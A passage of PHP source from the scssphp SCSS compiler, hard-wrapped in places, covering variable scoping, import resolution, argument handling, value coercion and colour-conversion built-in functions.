                        foreach ($parentPart as $pp) {
                            if (is_array($pp)) {
                                $flatten = [];
                                array_walk_recursive($pp, function ($a) use
(&$flatten) {
                                    $flatten[] = $a;
                                });
                                $pp = implode($flatten);
                            }

                            $newPart[] = $pp;
                        }
                    }
                } else {
                    $newPart[] = $p;
                }
            }

            $out[] = $newPart;
        }

        return $setSelf ? $out : array_merge($parent, $child);
    }

    /**
     * Multiply media
     *
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     * @param array                               $childQueries
     *
     * @return array
     */
    protected function multiplyMedia(Environment $env = null, $childQueries
= null)
    {
        if (! isset($env) ||
            ! empty($env->block->type) &&
$env->block->type !== Type::T_MEDIA
        ) {
            return $childQueries;
        }

        // plain old block, skip
        if (empty($env->block->type)) {
            return $this->multiplyMedia($env->parent, $childQueries);
        }

        $parentQueries = isset($env->block->queryList)
            ? $env->block->queryList
            : [[[Type::T_MEDIA_VALUE, $env->block->value]]];

        $store = [$this->env, $this->storeEnv];
        $this->env = $env;
        $this->storeEnv = null;
        $parentQueries = $this->evaluateMediaQuery($parentQueries);
        list($this->env, $this->storeEnv) = $store;

        if ($childQueries === null) {
            $childQueries = $parentQueries;
        } else {
            $originalQueries = $childQueries;
            $childQueries = [];

            foreach ($parentQueries as $parentQuery) {
                foreach ($originalQueries as $childQuery) {
                    $childQueries[] = array_merge(
                        $parentQuery,
                        [[Type::T_MEDIA_TYPE, [Type::T_KEYWORD,
'all']]],
                        $childQuery
                    );
                }
            }
        }

        return $this->multiplyMedia($env->parent, $childQueries);
    }

    /**
     * Convert env linked list to stack
     *
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     *
     * @return array
     */
    protected function compactEnv(Environment $env)
    {
        for ($envs = []; $env; $env = $env->parent) {
            $envs[] = $env;
        }

        return $envs;
    }

    /**
     * Convert env stack to singly linked list
     *
     * @param array $envs
     *
     * @return \Leafo\ScssPhp\Compiler\Environment
     */
    protected function extractEnv($envs)
    {
        for ($env = null; $e = array_pop($envs);) {
            $e->parent = $env;
            $env = $e;
        }

        return $env;
    }

    /**
     * Push environment
     *
     * @param \Leafo\ScssPhp\Block $block
     *
     * @return \Leafo\ScssPhp\Compiler\Environment
     */
    protected function pushEnv(Block $block = null)
    {
        $env = new Environment;
        $env->parent = $this->env;
        $env->store  = [];
        $env->block  = $block;
        $env->depth  = isset($this->env->depth) ?
$this->env->depth + 1 : 0;

        $this->env = $env;

        return $env;
    }

    /**
     * Pop environment
     */
    protected function popEnv()
    {
        $this->env = $this->env->parent;
    }

    /**
     * Get store environment
     *
     * @return \Leafo\ScssPhp\Compiler\Environment
     */
    protected function getStoreEnv()
    {
        return isset($this->storeEnv) ? $this->storeEnv :
$this->env;
    }

    /**
     * Set variable
     *
     * @param string                              $name
     * @param mixed                               $value
     * @param boolean                             $shadow
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     * @param mixed                               $valueUnreduced
     */
    protected function set($name, $value, $shadow = false, Environment $env
= null, $valueUnreduced = null)
    {
        $name = $this->normalizeName($name);

        if (! isset($env)) {
            $env = $this->getStoreEnv();
        }

        if ($shadow) {
            $this->setRaw($name, $value, $env, $valueUnreduced);
        } else {
            $this->setExisting($name, $value, $env, $valueUnreduced);
        }
    }

    /**
     * Set existing variable
     *
     * @param string                              $name
     * @param mixed                               $value
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     * @param mixed                               $valueUnreduced
     */
    protected function setExisting($name, $value, Environment $env,
$valueUnreduced = null)
    {
        $storeEnv = $env;

        $hasNamespace = $name[0] === '^' || $name[0] ===
'@' || $name[0] === '%';

        for (;;) {
            if (array_key_exists($name, $env->store)) {
                break;
            }

            if (! $hasNamespace && isset($env->marker)) {
                $env = $storeEnv;
                break;
            }

            if (! isset($env->parent)) {
                $env = $storeEnv;
                break;
            }

            $env = $env->parent;
        }

        $env->store[$name] = $value;

        if ($valueUnreduced) {
            $env->storeUnreduced[$name] = $valueUnreduced;
        }
    }

    /**
     * Set raw variable
     *
     * @param string                              $name
     * @param mixed                               $value
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     * @param mixed                               $valueUnreduced
     */
    protected function setRaw($name, $value, Environment $env,
$valueUnreduced = null)
    {
        $env->store[$name] = $value;

        if ($valueUnreduced) {
            $env->storeUnreduced[$name] = $valueUnreduced;
        }
    }

    /**
     * Get variable
     *
     * @api
     *
     * @param string                              $name
     * @param boolean                             $shouldThrow
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     * @param boolean                             $unreduced
     *
     * @return mixed|null
     */
    public function get($name, $shouldThrow = true, Environment $env =
null, $unreduced = false)
    {
        $normalizedName = $this->normalizeName($name);
        $specialContentKey = static::$namespaces['special'] .
'content';

        if (! isset($env)) {
            $env = $this->getStoreEnv();
        }

        $nextIsRoot = false;
        $hasNamespace = $normalizedName[0] === '^' ||
$normalizedName[0] === '@' || $normalizedName[0] ===
'%';

        $maxDepth = 10000;

        for (;;) {
            if ($maxDepth-- <= 0) {
                break;
            }

            if (array_key_exists($normalizedName, $env->store)) {
                if ($unreduced &&
isset($env->storeUnreduced[$normalizedName])) {
                    return $env->storeUnreduced[$normalizedName];
                }

                return $env->store[$normalizedName];
            }

            if (! $hasNamespace && isset($env->marker)) {
                if (! $nextIsRoot && !
empty($env->store[$specialContentKey])) {
                    $env = $env->store[$specialContentKey]->scope;
                    continue;
                }

                $env = $this->rootEnv;
                continue;
            }

            if (! isset($env->parent)) {
                break;
            }

            $env = $env->parent;
        }

        if ($shouldThrow) {
            $this->throwError("Undefined variable \$$name" .
($maxDepth<=0 ? " (infinite recursion)" : ""));
        }

        // found nothing
        return null;
    }

    /**
     * Has variable?
     *
     * @param string                              $name
     * @param \Leafo\ScssPhp\Compiler\Environment $env
     *
     * @return boolean
     */
    protected function has($name, Environment $env = null)
    {
        return $this->get($name, false, $env) !== null;
    }

    /**
     * Inject variables
     *
     * @param array $args
     */
    protected function injectVariables(array $args)
    {
        if (empty($args)) {
            return;
        }

        $parser = $this->parserFactory(__METHOD__);

        foreach ($args as $name => $strValue) {
            if ($name[0] === '$') {
                $name = substr($name, 1);
            }

            if (! $parser->parseValue($strValue, $value)) {
                $value = $this->coerceValue($strValue);
            }

            $this->set($name, $value);
        }
    }

    /**
     * Set variables
     *
     * @api
     *
     * @param array $variables
     */
    public function setVariables(array $variables)
    {
        $this->registeredVars = array_merge($this->registeredVars,
$variables);
    }

    /**
     * Unset variable
     *
     * @api
     *
     * @param string $name
     */
    public function unsetVariable($name)
    {
        unset($this->registeredVars[$name]);
    }

    /**
     * Returns list of variables
     *
     * @api
     *
     * @return array
     */
    public function getVariables()
    {
        return $this->registeredVars;
    }

    /**
     * Adds to list of parsed files
     *
     * @api
     *
     * @param string $path
     */
    public function addParsedFile($path)
    {
        if (isset($path) && file_exists($path)) {
            $this->parsedFiles[realpath($path)] = filemtime($path);
        }
    }

    /**
     * Returns list of parsed files
     *
     * @api
     *
     * @return array
     */
    public function getParsedFiles()
    {
        return $this->parsedFiles;
    }

    /**
     * Add import path
     *
     * @api
     *
     * @param string|callable $path
     */
    public function addImportPath($path)
    {
        if (! in_array($path, $this->importPaths)) {
            $this->importPaths[] = $path;
        }
    }

    /**
     * Set import paths
     *
     * @api
     *
     * @param string|array $path
     */
    public function setImportPaths($path)
    {
        $this->importPaths = (array) $path;
    }

    /**
     * Set number precision
     *
     * @api
     *
     * @param integer $numberPrecision
     */
    public function setNumberPrecision($numberPrecision)
    {
        Node\Number::$precision = $numberPrecision;
    }

    /**
     * Set formatter
     *
     * @api
     *
     * @param string $formatterName
     */
    public function setFormatter($formatterName)
    {
        $this->formatter = $formatterName;
    }

    /**
     * Set line number style
     *
     * @api
     *
     * @param string $lineNumberStyle
     */
    public function setLineNumberStyle($lineNumberStyle)
    {
        $this->lineNumberStyle = $lineNumberStyle;
    }

    /**
     * Enable/disable source maps
     *
     * @api
     *
     * @param integer $sourceMap
     */
    public function setSourceMap($sourceMap)
    {
        $this->sourceMap = $sourceMap;
    }

    /**
     * Set source map options
     *
     * @api
     *
     * @param array $sourceMapOptions
     */
    public function setSourceMapOptions($sourceMapOptions)
    {
        $this->sourceMapOptions = $sourceMapOptions;
    }

    /**
     * Register function
     *
     * @api
     *
     * @param string   $name
     * @param callable $func
     * @param array    $prototype
     */
    public function registerFunction($name, $func, $prototype = null)
    {
        $this->userFunctions[$this->normalizeName($name)] = [$func,
$prototype];
    }

    /**
     * Unregister function
     *
     * @api
     *
     * @param string $name
     */
    public function unregisterFunction($name)
    {
        unset($this->userFunctions[$this->normalizeName($name)]);
    }

    /**
     * Add feature
     *
     * @api
     *
     * @param string $name
     */
    public function addFeature($name)
    {
        $this->registeredFeatures[$name] = true;
    }

    /**
     * Import file
     *
     * @param string                               $path
     * @param \Leafo\ScssPhp\Formatter\OutputBlock $out
     */
    protected function importFile($path, OutputBlock $out)
    {
        // see if tree is cached
        $realPath = realpath($path);

        if (isset($this->importCache[$realPath])) {
            $this->handleImportLoop($realPath);

            $tree = $this->importCache[$realPath];
        } else {
            $code   = file_get_contents($path);
            $parser = $this->parserFactory($path);
            $tree   = $parser->parse($code);

            $this->importCache[$realPath] = $tree;
        }

        $pi = pathinfo($path);
        array_unshift($this->importPaths, $pi['dirname']);
        $this->compileChildrenNoReturn($tree->children, $out);
        array_shift($this->importPaths);
    }

    /**
     * Return the file path for an import url if it exists
     *
     * @api
     *
     * @param string $url
     *
     * @return string|null
     */
    public function findImport($url)
    {
        $urls = [];

        // for "normal" scss imports (ignore vanilla css and
external requests)
        if (! preg_match('/\.css$|^https?:\/\//', $url)) {
            // try both normal and the _partial filename
            $urls = [$url, preg_replace('/[^\/]+$/',
'_\0', $url)];
        }

        $hasExtension = preg_match('/[.]s?css$/', $url);

        foreach ($this->importPaths as $dir) {
            if (is_string($dir)) {
                // check urls for normal import paths
                foreach ($urls as $full) {
                    $separator = (
                        ! empty($dir) &&
                        substr($dir, -1) !== '/' &&
                        substr($full, 0, 1) !== '/'
                    ) ? '/' : '';
                    $full = $dir . $separator . $full;

                    if ($this->fileExists($file = $full .
'.scss') ||
                        ($hasExtension &&
$this->fileExists($file = $full))
                    ) {
                        return $file;
                    }
                }
            } elseif (is_callable($dir)) {
                // check custom callback for import path
                $file = call_user_func($dir, $url);

                if ($file !== null) {
                    return $file;
                }
            }
        }

        return null;
    }

    /**
     * Set encoding
     *
     * @api
     *
     * @param string $encoding
     */
    public function setEncoding($encoding)
    {
        $this->encoding = $encoding;
    }

    /**
     * Ignore errors?
     *
     * @api
     *
     * @param boolean $ignoreErrors
     *
     * @return \Leafo\ScssPhp\Compiler
     */
    public function setIgnoreErrors($ignoreErrors)
    {
        $this->ignoreErrors = $ignoreErrors;

        return $this;
    }

    /**
     * Throw error (exception)
     *
     * @api
     *
     * @param string $msg Message with optional sprintf()-style vararg
parameters
     *
     * @throws \Leafo\ScssPhp\Exception\CompilerException
     */
    public function throwError($msg)
    {
        if ($this->ignoreErrors) {
            return;
        }

        $line   = $this->sourceLine;
        $column = $this->sourceColumn;

        $loc = isset($this->sourceNames[$this->sourceIndex])
             ? $this->sourceNames[$this->sourceIndex] . " on
line $line, at column $column"
             : "line: $line, column: $column";

        if (func_num_args() > 1) {
            $msg = call_user_func_array('sprintf',
func_get_args());
        }

        $msg = "$msg: $loc";

        $callStackMsg = $this->callStackMessage();

        if ($callStackMsg) {
            $msg .= "\nCall Stack:\n" . $callStackMsg;
        }

        throw new CompilerException($msg);
    }

    /**
     * Beautify call stack for output
     *
     * @param boolean $all
     * @param null    $limit
     *
     * @return string
     */
    protected function callStackMessage($all = false, $limit = null)
    {
        $callStackMsg = [];
        $ncall = 0;

        if ($this->callStack) {
            foreach (array_reverse($this->callStack) as $call) {
                if ($all || (isset($call['n']) &&
$call['n'])) {
                    $msg = "#" . $ncall++ . " " .
$call['n'] . " ";
                    $msg .=
(isset($this->sourceNames[$call[Parser::SOURCE_INDEX]])
                          ?
$this->sourceNames[$call[Parser::SOURCE_INDEX]]
                          : '(unknown file)');
                    $msg .= " on line " .
$call[Parser::SOURCE_LINE];
                    $callStackMsg[] = $msg;

                    if (! is_null($limit) && $ncall>$limit) {
                        break;
                    }
                }
            }
        }

        return implode("\n", $callStackMsg);
    }

    /**
     * Handle import loop
     *
     * @param string $name
     *
     * @throws \Exception
     */
    protected function handleImportLoop($name)
    {
        for ($env = $this->env; $env; $env = $env->parent) {
            $file = $this->sourceNames[$env->block->sourceIndex];

            if (realpath($file) === $name) {
                $this->throwError('An @import loop has been found:
%s imports %s', $file, basename($file));
                break;
            }
        }
    }

    /**
     * Does file exist?
     *
     * @param string $name
     *
     * @return boolean
     */
    protected function fileExists($name)
    {
        return file_exists($name) && is_file($name);
    }

    /**
     * Call SCSS @function
     *
     * @param string $name
     * @param array  $argValues
     * @param array  $returnValue
     *
     * @return boolean Returns true if returnValue is set; otherwise, false
     */
    protected function callScssFunction($name, $argValues,
&$returnValue)
    {
        $func = $this->get(static::$namespaces['function'] .
$name, false);

        if (! $func) {
            return false;
        }

        $this->pushEnv();

        $storeEnv = $this->storeEnv;
        $this->storeEnv = $this->env;

        // set the args
        if (isset($func->args)) {
            $this->applyArguments($func->args, $argValues);
        }

        // throw away lines and children
        $tmp = new OutputBlock;
        $tmp->lines    = [];
        $tmp->children = [];

        $this->env->marker = 'function';

        $ret = $this->compileChildren($func->children, $tmp,
$this->env->marker . " " . $name);

        $this->storeEnv = $storeEnv;

        $this->popEnv();

        $returnValue = ! isset($ret) ? static::$defaultValue : $ret;

        return true;
    }

    /**
     * Call built-in and registered (PHP) functions
     *
     * @param string $name
     * @param array  $args
     * @param array  $returnValue
     *
     * @return boolean Returns true if returnValue is set; otherwise, false
     */
    protected function callNativeFunction($name, $args, &$returnValue)
    {
        // try a lib function
        $name = $this->normalizeName($name);

        if (isset($this->userFunctions[$name])) {
            // see if we can find a user function
            list($f, $prototype) = $this->userFunctions[$name];
        } elseif (($f = $this->getBuiltinFunction($name)) &&
is_callable($f)) {
            $libName   = $f[1];
            $prototype = isset(static::$$libName) ? static::$$libName :
null;
        } else {
            return false;
        }

        @list($sorted, $kwargs) = $this->sortArgs($prototype, $args);

        if ($name !== 'if' && $name !== 'call')
{
            foreach ($sorted as &$val) {
                // @todo fix root cause for this php 7.4 hack
                if ($val === null)  continue;

                $val = $this->reduce($val, true);
            }
        }

        $returnValue = call_user_func($f, $sorted, $kwargs);

        if (! isset($returnValue)) {
            return false;
        }

        $returnValue = $this->coerceValue($returnValue);

        return true;
    }

    /**
     * Get built-in function
     *
     * @param string $name Normalized name
     *
     * @return array
     */
    protected function getBuiltinFunction($name)
    {
        $libName = 'lib' . preg_replace_callback(
            '/_(.)/',
            function ($m) {
                return ucfirst($m[1]);
            },
            ucfirst($name)
        );

        return [$this, $libName];
    }

    /**
     * Sorts keyword arguments
     *
     * @param array $prototype
     * @param array $args
     *
     * @return array
     */
    protected function sortArgs($prototype, $args)
    {
        $keyArgs = [];
        $posArgs = [];

        // separate positional and keyword arguments
        foreach ($args as $arg) {
            list($key, $value) = $arg;

            $key = $key[1];

            if (empty($key)) {
                $posArgs[] = empty($arg[2]) ? $value : $arg;
            } else {
                $keyArgs[$key] = $value;
            }
        }

        if (! isset($prototype)) {
            return [$posArgs, $keyArgs];
        }

        // copy positional args
        $finalArgs = array_pad($posArgs, count($prototype), null);

        // overwrite positional args with keyword args
        foreach ($prototype as $i => $names) {
            foreach ((array) $names as $name) {
                if (isset($keyArgs[$name])) {
                    $finalArgs[$i] = $keyArgs[$name];
                }
            }
        }

        return [$finalArgs, $keyArgs];
    }

    /**
     * Apply argument values per definition
     *
     * @param array $argDef
     * @param array $argValues
     *
     * @throws \Exception
     */
    protected function applyArguments($argDef, $argValues)
    {
        $storeEnv = $this->getStoreEnv();

        $env = new Environment;
        $env->store = $storeEnv->store;

        $hasVariable = false;
        $args = [];

        foreach ($argDef as $i => $arg) {
            list($name, $default, $isVariable) = $argDef[$i];

            $args[$name] = [$i, $name, $default, $isVariable];
            $hasVariable |= $isVariable;
        }

        $keywordArgs = [];
        $deferredKeywordArgs = [];
        $remaining = [];

        // assign the keyword args
        foreach ((array) $argValues as $arg) {
            if (! empty($arg[0])) {
                if (! isset($args[$arg[0][1]])) {
                    if ($hasVariable) {
                        $deferredKeywordArgs[$arg[0][1]] = $arg[1];
                    } else {
                        $this->throwError("Mixin or function
doesn't have an argument named $%s.", $arg[0][1]);
                        break;
                    }
                } elseif ($args[$arg[0][1]][0] < count($remaining)) {
                    $this->throwError("The argument $%s was passed
both by position and by name.", $arg[0][1]);
                    break;
                } else {
                    $keywordArgs[$arg[0][1]] = $arg[1];
                }
            } elseif (count($keywordArgs)) {
                $this->throwError('Positional arguments must come
before keyword arguments.');
                break;
            } elseif ($arg[2] === true) {
                $val = $this->reduce($arg[1], true);

                if ($val[0] === Type::T_LIST) {
                    foreach ($val[2] as $name => $item) {
                        if (! is_numeric($name)) {
                            $keywordArgs[$name] = $item;
                        } else {
                            $remaining[] = $item;
                        }
                    }
                } elseif ($val[0] === Type::T_MAP) {
                    foreach ($val[1] as $i => $name) {
                        $name =
$this->compileStringContent($this->coerceString($name));
                        $item = $val[2][$i];

                        if (! is_numeric($name)) {
                            $keywordArgs[$name] = $item;
                        } else {
                            $remaining[] = $item;
                        }
                    }
                } else {
                    $remaining[] = $val;
                }
            } else {
                $remaining[] = $arg[1];
            }
        }

        foreach ($args as $arg) {
            list($i, $name, $default, $isVariable) = $arg;

            if ($isVariable) {
                $val = [Type::T_LIST, ',', [], $isVariable];

                for ($count = count($remaining); $i < $count; $i++) {
                    $val[2][] = $remaining[$i];
                }

                foreach ($deferredKeywordArgs as $itemName => $item) {
                    $val[2][$itemName] = $item;
                }
            } elseif (isset($remaining[$i])) {
                $val = $remaining[$i];
            } elseif (isset($keywordArgs[$name])) {
                $val = $keywordArgs[$name];
            } elseif (! empty($default)) {
                continue;
            } else {
                $this->throwError("Missing argument $name");
                break;
            }

            $this->set($name, $this->reduce($val, true), true, $env);
        }

        $storeEnv->store = $env->store;

        foreach ($args as $arg) {
            list($i, $name, $default, $isVariable) = $arg;

            if ($isVariable || isset($remaining[$i]) ||
isset($keywordArgs[$name]) || empty($default)) {
                continue;
            }

            $this->set($name, $this->reduce($default, true), true);
        }
    }

    /**
     * Coerce a php value into a scss one
     *
     * @param mixed $value
     *
     * @return array|\Leafo\ScssPhp\Node\Number
     */
    protected function coerceValue($value)
    {
        if (is_array($value) || $value instanceof \ArrayAccess) {
            return $value;
        }

        if (is_bool($value)) {
            return $this->toBool($value);
        }

        if ($value === null) {
            return static::$null;
        }

        if (is_numeric($value)) {
            return new Node\Number($value, '');
        }

        if ($value === '') {
            return static::$emptyString;
        }

        if (preg_match('/^(#([0-9a-f]{6})|#([0-9a-f]{3}))$/i',
$value, $m)) {
            $color = [Type::T_COLOR];

            if (isset($m[3])) {
                $num = hexdec($m[3]);

                foreach ([3, 2, 1] as $i) {
                    $t = $num & 0xf;
                    $color[$i] = $t << 4 | $t;
                    $num >>= 4;
                }
            } else {
                $num = hexdec($m[2]);

                foreach ([3, 2, 1] as $i) {
                    $color[$i] = $num & 0xff;
                    $num >>= 8;
                }
            }

            return $color;
        }

        return [Type::T_KEYWORD, $value];
    }

    /**
     * Coerce something to map
     *
     * @param array $item
     *
     * @return array
     */
    protected function coerceMap($item)
    {
        if ($item[0] === Type::T_MAP) {
            return $item;
        }

        if ($item === static::$emptyList) {
            return static::$emptyMap;
        }

        return [Type::T_MAP, [$item], [static::$null]];
    }

    /**
     * Coerce something to list
     *
     * @param array  $item
     * @param string $delim
     *
     * @return array
     */
    protected function coerceList($item, $delim = ',')
    {
        if (isset($item) && $item[0] === Type::T_LIST) {
            return $item;
        }

        if (isset($item) && $item[0] === Type::T_MAP) {
            $keys = $item[1];
            $values = $item[2];
            $list = [];

            for ($i = 0, $s = count($keys); $i < $s; $i++) {
                $key = $keys[$i];
                $value = $values[$i];

                $list[] = [
                    Type::T_LIST,
                    '',
                    [[Type::T_KEYWORD,
$this->compileStringContent($this->coerceString($key))], $value]
                ];
            }

            return [Type::T_LIST, ',', $list];
        }

        return [Type::T_LIST, $delim, ! isset($item) ? []: [$item]];
    }

    /**
     * Coerce color for expression
     *
     * @param array $value
     *
     * @return array|null
     */
    protected function coerceForExpression($value)
    {
        if ($color = $this->coerceColor($value)) {
            return $color;
        }

        return $value;
    }

    /**
     * Coerce value to color
     *
     * @param array $value
     *
     * @return array|null
     */
    protected function coerceColor($value)
    {
        switch ($value[0]) {
            case Type::T_COLOR:
                return $value;

            case Type::T_KEYWORD:
                $name = strtolower($value[1]);

                if (isset(Colors::$cssColors[$name])) {
                    $rgba = explode(',',
Colors::$cssColors[$name]);

                    return isset($rgba[3])
                        ? [Type::T_COLOR, (int) $rgba[0], (int) $rgba[1],
(int) $rgba[2], (int) $rgba[3]]
                        : [Type::T_COLOR, (int) $rgba[0], (int) $rgba[1],
(int) $rgba[2]];
                }

                return null;
        }

        return null;
    }

    /**
     * Coerce value to string
     *
     * @param array $value
     *
     * @return array|null
     */
    protected function coerceString($value)
    {
        if ($value[0] === Type::T_STRING) {
            return $value;
        }

        return [Type::T_STRING, '',
[$this->compileValue($value)]];
    }

    /**
     * Coerce value to a percentage
     *
     * @param array $value
     *
     * @return integer|float
     */
    protected function coercePercent($value)
    {
        if ($value[0] === Type::T_NUMBER) {
            if (! empty($value[2]['%'])) {
                return $value[1] / 100;
            }

            return $value[1];
        }

        return 0;
    }

    /**
     * Assert value is a map
     *
     * @api
     *
     * @param array $value
     *
     * @return array
     *
     * @throws \Exception
     */
    public function assertMap($value)
    {
        $value = $this->coerceMap($value);

        if ($value[0] !== Type::T_MAP) {
            $this->throwError('expecting map, %s received',
$value[0]);
        }

        return $value;
    }

    /**
     * Assert value is a list
     *
     * @api
     *
     * @param array $value
     *
     * @return array
     *
     * @throws \Exception
     */
    public function assertList($value)
    {
        if ($value[0] !== Type::T_LIST) {
            $this->throwError('expecting list, %s received',
$value[0]);
        }

        return $value;
    }

    /**
     * Assert value is a color
     *
     * @api
     *
     * @param array $value
     *
     * @return array
     *
     * @throws \Exception
     */
    public function assertColor($value)
    {
        if ($color = $this->coerceColor($value)) {
            return $color;
        }

        $this->throwError('expecting color, %s received',
$value[0]);
    }

    /**
     * Assert value is a number
     *
     * @api
     *
     * @param array $value
     *
     * @return integer|float
     *
     * @throws \Exception
     */
    public function assertNumber($value)
    {
        if ($value[0] !== Type::T_NUMBER) {
            $this->throwError('expecting number, %s received',
$value[0]);
        }

        return $value[1];
    }

    /**
     * Make sure a color's components don't go out of bounds
     *
     * @param array $c
     *
     * @return array
     */
    protected function fixColor($c)
    {
        foreach ([1, 2, 3] as $i) {
            if ($c[$i] < 0) {
                $c[$i] = 0;
            }

            if ($c[$i] > 255) {
                $c[$i] = 255;
            }
        }

        return $c;
    }

    /**
     * Convert RGB to HSL
     *
     * @api
     *
     * @param integer $red
     * @param integer $green
     * @param integer $blue
     *
     * @return array
     */
    public function toHSL($red, $green, $blue)
    {
        $min = min($red, $green, $blue);
        $max = max($red, $green, $blue);

        $l = $min + $max;
        $d = $max - $min;

        if ((int) $d === 0) {
            $h = $s = 0;
        } else {
            if ($l < 255) {
                $s = $d / $l;
            } else {
                $s = $d / (510 - $l);
            }

            if ($red == $max) {
                $h = 60 * ($green - $blue) / $d;
            } elseif ($green == $max) {
                $h = 60 * ($blue - $red) / $d + 120;
            } elseif ($blue == $max) {
                $h = 60 * ($red - $green) / $d + 240;
            }
        }

        return [Type::T_HSL, fmod($h, 360), $s * 100, $l / 5.1];
    }

    /**
     * Hue to RGB helper
     *
     * @param float $m1
     * @param float $m2
     * @param float $h
     *
     * @return float
     */
    protected function hueToRGB($m1, $m2, $h)
    {
        if ($h < 0) {
            $h += 1;
        } elseif ($h > 1) {
            $h -= 1;
        }

        if ($h * 6 < 1) {
            return $m1 + ($m2 - $m1) * $h * 6;
        }

        if ($h * 2 < 1) {
            return $m2;
        }

        if ($h * 3 < 2) {
            return $m1 + ($m2 - $m1) * (2/3 - $h) * 6;
        }

        return $m1;
    }

    /**
     * Convert HSL to RGB
     *
     * @api
     *
     * @param integer $hue        H from 0 to 360
     * @param integer $saturation S from 0 to 100
     * @param integer $lightness  L from 0 to 100
     *
     * @return array
     */
    public function toRGB($hue, $saturation, $lightness)
    {
        if ($hue < 0) {
            $hue += 360;
        }

        $h = $hue / 360;
        $s = min(100, max(0, $saturation)) / 100;
        $l = min(100, max(0, $lightness)) / 100;

        $m2 = $l <= 0.5 ? $l * ($s + 1) : $l + $s - $l * $s;
        $m1 = $l * 2 - $m2;

        $r = $this->hueToRGB($m1, $m2, $h + 1/3) * 255;
        $g = $this->hueToRGB($m1, $m2, $h) * 255;
        $b = $this->hueToRGB($m1, $m2, $h - 1/3) * 255;

        $out = [Type::T_COLOR, $r, $g, $b];

        return $out;
    }

    // Built in functions

    //protected static $libCall = ['name', 'args...'];
    protected function libCall($args, $kwargs)
    {
        $name =
$this->compileStringContent($this->coerceString($this->reduce(array_shift($args),
true)));

        $posArgs = [];

        foreach ($args as $arg) {
            if (empty($arg[0])) {
                if ($arg[2] === true) {
                    $tmp = $this->reduce($arg[1]);

                    if ($tmp[0] === Type::T_LIST) {
                        foreach ($tmp[2] as $item) {
                            $posArgs[] = [null, $item, false];
                        }
                    } else {
                        $posArgs[] = [null, $tmp, true];
                    }

                    continue;
                }

                $posArgs[] = [null, $this->reduce($arg), false];
                continue;
            }

            $posArgs[] = [null, $arg, false];
        }

        if (count($kwargs)) {
            foreach ($kwargs as $key => $value) {
                $posArgs[] = [[Type::T_VARIABLE, $key], $value, false];
            }
        }

        return $this->reduce([Type::T_FUNCTION_CALL, $name, $posArgs]);
    }

    protected static $libIf = ['condition', 'if-true',
'if-false'];
    protected function libIf($args)
    {
        list($cond, $t, $f) = $args;

        if (! $this->isTruthy($this->reduce($cond, true))) {
            return $this->reduce($f, true);
        }

        return $this->reduce($t, true);
    }

    protected static $libIndex = ['list', 'value'];
    protected function libIndex($args)
    {
        list($list, $value) = $args;

        if ($value[0] === Type::T_MAP) {
            return static::$null;
        }

        if ($list[0] === Type::T_MAP ||
            $list[0] === Type::T_STRING ||
            $list[0] === Type::T_KEYWORD ||
            $list[0] === Type::T_INTERPOLATE
        ) {
            $list = $this->coerceList($list, ' ');
        }

        if ($list[0] !== Type::T_LIST) {
            return static::$null;
        }

        $values = [];

        foreach ($list[2] as $item) {
            $values[] = $this->normalizeValue($item);
        }

        $key = array_search($this->normalizeValue($value), $values);

        return false === $key ? static::$null : $key + 1;
    }

    protected static $libRgb = ['red', 'green',
'blue'];
    protected function libRgb($args)
    {
        list($r, $g, $b) = $args;

        return [Type::T_COLOR, $r[1], $g[1], $b[1]];
    }

    protected static $libRgba = [
        ['red', 'color'],
        'green', 'blue', 'alpha'];
    protected function libRgba($args)
    {
        if ($color = $this->coerceColor($args[0])) {
            $num = isset($args[3]) ? $args[3] : $args[1];
            $alpha = $this->assertNumber($num);
            $color[4] = $alpha;

            return $color;
        }

        list($r, $g, $b, $a) = $args;

        return [Type::T_COLOR, $r[1], $g[1], $b[1], $a[1]];
    }

    // helper function for adjust_color, change_color, and scale_color
    protected function alterColor($args, $fn)
    {
        $color = $this->assertColor($args[0]);

        foreach ([1, 2, 3, 7] as $i) {
            if (isset($args[$i])) {
                $val = $this->assertNumber($args[$i]);
                $ii = $i === 7 ? 4 : $i; // alpha
                $color[$ii] = call_user_func($fn, isset($color[$ii]) ?
$color[$ii] : 0, $val, $i);
            }
        }

        if (isset($args[4]) || isset($args[5]) || isset($args[6])) {
            $hsl = $this->toHSL($color[1], $color[2], $color[3]);

            foreach ([4, 5, 6] as $i) {
                if (isset($args[$i])) {
                    $val = $this->assertNumber($args[$i]);
                    $hsl[$i - 3] = call_user_func($fn, $hsl[$i - 3], $val,
$i);
                }
            }

            $rgb = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);

            if (isset($color[4])) {
                $rgb[4] = $color[4];
            }

            $color = $rgb;
        }

        return $color;
    }

    protected static $libAdjustColor = [
        'color', 'red', 'green',
'blue',
        'hue', 'saturation', 'lightness',
'alpha'
    ];
    protected function libAdjustColor($args)
    {
        return $this->alterColor($args, function ($base, $alter, $i) {
            return $base + $alter;
        });
    }

    protected static $libChangeColor = [
        'color', 'red', 'green',
'blue',
        'hue', 'saturation', 'lightness',
'alpha'
    ];
    protected function libChangeColor($args)
    {
        return $this->alterColor($args, function ($base, $alter, $i) {
            return $alter;
        });
    }

    protected static $libScaleColor = [
        'color', 'red', 'green',
'blue',
        'hue', 'saturation', 'lightness',
'alpha'
    ];
    protected function libScaleColor($args)
    {
        return $this->alterColor($args, function ($base, $scale, $i) {
            // 1, 2, 3 - rgb
            // 4, 5, 6 - hsl
            // 7 - a
            switch ($i) {
                case 1:
                case 2:
                case 3:
                    $max = 255;
                    break;

                case 4:
                    $max = 360;
                    break;

                case 7:
                    $max = 1;
                    break;

                default:
                    $max = 100;
            }

            $scale = $scale / 100;

            if ($scale < 0) {
                return $base * $scale + $base;
            }

            return ($max - $base) * $scale + $base;
        });
    }

    protected static $libIeHexStr = ['color'];
    protected function libIeHexStr($args)
    {
        $color = $this->coerceColor($args[0]);
        $color[4] = isset($color[4]) ? round(255 * $color[4]) : 255;

        return sprintf('#%02X%02X%02X%02X', $color[4], $color[1],
$color[2], $color[3]);
    }

    protected static $libRed = ['color'];
    protected function libRed($args)
    {
        $color = $this->coerceColor($args[0]);

        return $color[1];
    }

    protected static $libGreen = ['color'];
    protected function libGreen($args)
    {
        $color = $this->coerceColor($args[0]);

        return $color[2];
    }

    protected static $libBlue = ['color'];
    protected function libBlue($args)
    {
